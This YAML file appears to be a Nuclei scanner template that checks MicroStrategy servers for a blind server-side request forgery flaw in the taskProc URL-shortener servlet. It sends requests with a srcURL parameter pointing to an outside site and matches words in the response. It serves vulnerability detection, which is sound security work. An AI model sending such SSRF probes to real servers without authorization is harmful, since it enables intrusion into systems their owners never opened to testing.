id: microstrategy-ssrf

info:
  name: MicroStrategy tinyurl - Server-Side Request Forgery (Blind)
  author: organiccrap
  severity: high
  description: Blind server-side (SSRF) request forgery vulnerability on MicroStrategy URL shortener.
  reference:
    - https://medium.com/@win3zz/how-i-made-31500-by-submitting-a-bug-to-facebook-d31bb046e204
  classification:
    cwe-id: CWE-918
  metadata:
    max-request: 2
  tags: microstrategy,ssrf,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=xml&srcURL=https://google.com'
      - '{{BaseURL}}/MicroStrategy/servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=xml&srcURL=https://google.com'

    stop-at-first-match: true
    matchers:
      - type: word
        words:
          - taskResponse
          - The source URL is not valid
        condition: and
        part: body
# digest: 4a0a00473045022100bd5f2293770a604d203c13fdc072e4612387c192b6d5aac89d047a3fa02a46070220417b24e1d26c11797d74c5acee6b1b84a74f3128ae93be7a2dd3335de92a1c99:922c64590222798bb761d5b6d8e72950